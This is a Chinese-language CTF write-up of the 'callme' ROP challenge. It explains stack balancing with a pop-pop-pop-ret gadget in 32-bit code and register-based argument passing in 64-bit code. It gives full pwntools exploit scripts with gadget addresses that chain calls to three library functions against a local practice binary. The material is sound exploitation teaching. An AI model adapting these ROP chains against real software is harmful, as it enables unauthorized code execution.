callme

作者: n0va | 来源:发表于2018-12-31 21:32 被阅读0次

    溢出点还是一样,不过现在程序 没有system函数,flag也不是直接cat flag.txt得到,而是通过callme_one,callme_two,callme_three三个函数的调用计算得到,我们看一下.so文件


    image.png

    这里要求传入的三个参数为1,2,3,接下来写exp
    这里需要注意,因为要连续调用3个函数,所以需要注意callme_one调用完了之后的返回地址不能再向前两道一样随便写p32(0)了,这里是为了保持栈的平衡,callme_one执行完之后 要把它的三个参数1,2,3弹出去,esp才能指向p32(callme_two)

    from pwn import *
    sh = process('./callme32')
    pop3_ret = 0x80488a9
    callme_one = 0x080485C0
    callme_two = 0x08048620
    callme_three = 0x080485B0
    payload = ""
    payload += "a" * 0x28 + p32(0)
    payload += p32(callme_one) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
    payload += p32(callme_two) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
    payload += p32(callme_three) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
    sh.sendline(payload)
    sh.interactive()
    
    payload += p32(callme_one) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
    其中的pop3_ret 是为了把 p32(1) + p32(2) + p32(3)弹出栈,最后一个ret指令相当于pop eip
    也就是把栈顶的内容传给eip,从而改变执行流程,在执行完三次pop后,esp已经指向p32(callme_two),这样就可以接着去指向第二段rop从而顺利调用callme_two(1,2,3)
    pop
    pop
    pop
    ret
    地址可以用objdump找到
    
    image.png

    如果对此不太好理解的话,可以进入gdb一步步跟着调试,可以看清楚具体的流程


    image.png image.png

    只有将1,2,3pop出去esp才能指向callme_two。


    64位程序 ,就不需要栈平衡了,在64位下,前6个参数通过rdi,rsi,rdx,rcx,r8,r9传递,所以需要找到pop rdi;pop rsi ;pop rdx ret 的gadget
    可以用 objdump -d callme | grep -A 3 pop找到

    image.png

    也可以用ROPgadget --binary ./callme --only "pop|ret"

    Gadgets information
    ============================================================
    0x0000000000401b1c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x0000000000401b1e : pop r13 ; pop r14 ; pop r15 ; ret
    0x0000000000401b20 : pop r14 ; pop r15 ; ret
    0x0000000000401b22 : pop r15 ; ret
    0x0000000000401b1b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x0000000000401b1f : pop rbp ; pop r14 ; pop r15 ; ret
    0x0000000000401900 : pop rbp ; ret
    0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
    0x0000000000401b23 : pop rdi ; ret
    0x0000000000401ab2 : pop rdx ; ret
    0x0000000000401b21 : pop rsi ; pop r15 ; ret
    0x0000000000401ab1 : pop rsi ; pop rdx ; ret
    0x0000000000401b1d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004017d9 : ret
    

    exp:

    from pwn import *
    sh = process('./callme')
    callme_one = 0x401850
    callme_two = 0x401870
    callme_three = 0x401810
    # pop_rdi = 0x401b23
    # pop_rsi_rdx = 0x401ab1
    pop_rdi_rsi_rdx_ret = 0x401ab0
    payload = ""
    payload += 'a' * 0x20 + p64(0)
    # payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_rdx) + p64(2) + p64(3) + p64(callme_one)
    # payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_rdx) + p64(2) + p64(3) + p64(callme_two)
    # payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_rdx) + p64(2) + p64(3) + p64(callme_three)
    payload += p64(pop_rdi_rsi_rdx_ret) + p64(1) + p64(2) + p64(3) + p64(callme_one)
    payload += p64(pop_rdi_rsi_rdx_ret) + p64(1) + p64(2) + p64(3) + p64(callme_two)
    payload += p64(pop_rdi_rsi_rdx_ret) + p64(1) + p64(2) + p64(3) + p64(callme_three)
    sh.sendline(payload)
    sh.interactive()
    

    相关文章

      网友评论

          本文标题:callme

          本文链接:https://www.haomeiwen.com/subject/tzgwlqtx.html